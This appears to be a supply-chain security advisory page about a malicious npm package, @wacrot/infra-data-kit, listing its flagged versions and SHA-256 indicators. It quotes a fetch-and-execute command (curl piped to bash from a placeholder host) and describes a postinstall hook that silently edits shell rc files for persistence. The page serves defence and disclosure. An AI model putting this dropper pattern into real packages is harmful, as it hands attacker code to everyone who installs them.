Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

@wacrot/infra-data-kitnpm

Malicious code in @wacrot/infra-data-kit (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5834
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @wacrot/infra-data-kit

What this malware does

On any require() or import of @wacrot/infra-data-kit, src/index.js invokes addSupport() at module top level, which spawns a detached bash -c 'curl -fsSL https://example.com/script.sh | bash' via node:child_process with stdio ignored and errors swallowed by empty catch blocks. This is a textbook fetch-and-execute dropper embedded in a package advertised as a GeoJSON / data utility, and it fires automatically on import with no user consent or verification. Separately, package.json declares a postinstall hook (npx no-install @wacrot/infra-data-kit npm run scripts/setup.js) which executes scripts/setup.js at install time. setup.js locates the first of ~/.zshrc, ~/.bashrc, ~/.profile, makes a.bak copy, and inserts a new line into the file. The current inserted line is benign (export MY_CUSTOM_VAR='test'), but the primitive is silent, persistent modification of the installer's shell rc files on every install — the standard mechanism for attacker persistence via PATH/alias/source hooks. The atypical postinstall invocation through npx no-install further obscures lifecycle inspection. The destination URL https://example.com/script.sh is a placeholder; the mechanism is fully wired and any future republish or DNS pivot delivers attacker-controlled shell code to every installer.

Malicious versions

8 flagged
2.0.62.0.72.0.82.0.92.1.02.1.12.1.22.1.4

Indicators of compromise (SHA-256)

1568dfa61d19a63f6837c4a8c9b5d728401d0f34c87ce3550af594c141a94ac1
9b786922d30a4bf2895ccc72832e755017c2a6086b60a41546477353cad7a002
ed3dbc1e873b9aeef4db7a0118d43e32ef55ba4f0bdbe60601f26dfb9f9465df
2fae648a1c4f2f52a58e92d0877909d0c257de08ac85648b26c05cfaeed735c4
48b21f9afd4984fc6e40d4d6d9d22118936bbbda62480fceb51e2a1e05d7f2fe
5a287471a6a92d725824819ebe06e1f705cbce4f1a67443be50872c034e4eb6e
6dffaaac09416f6badd0af76a7fd930025004f4d7eed785c4cb8d275a55287cc
7ef0c37effa4d55594ab9723da3aa953b0a6826726083f7ae264d913389e36ed

Frequently asked questions

No. @wacrot/infra-data-kit on npm has been identified as a malicious package (versions 2.0.6, 2.0.7, 2.0.8, 2.0.9, 2.1.0, 2.1.1, 2.1.2, 2.1.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006715IN-MAL-2026-006716IN-MAL-2026-006711IN-MAL-2026-006718IN-MAL-2026-006713IN-MAL-2026-006717IN-MAL-2026-006714IN-MAL-2026-006712

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
@wacrot/infra-data-kit (npm) malicious package — MAL-2026-5834 | O3 Security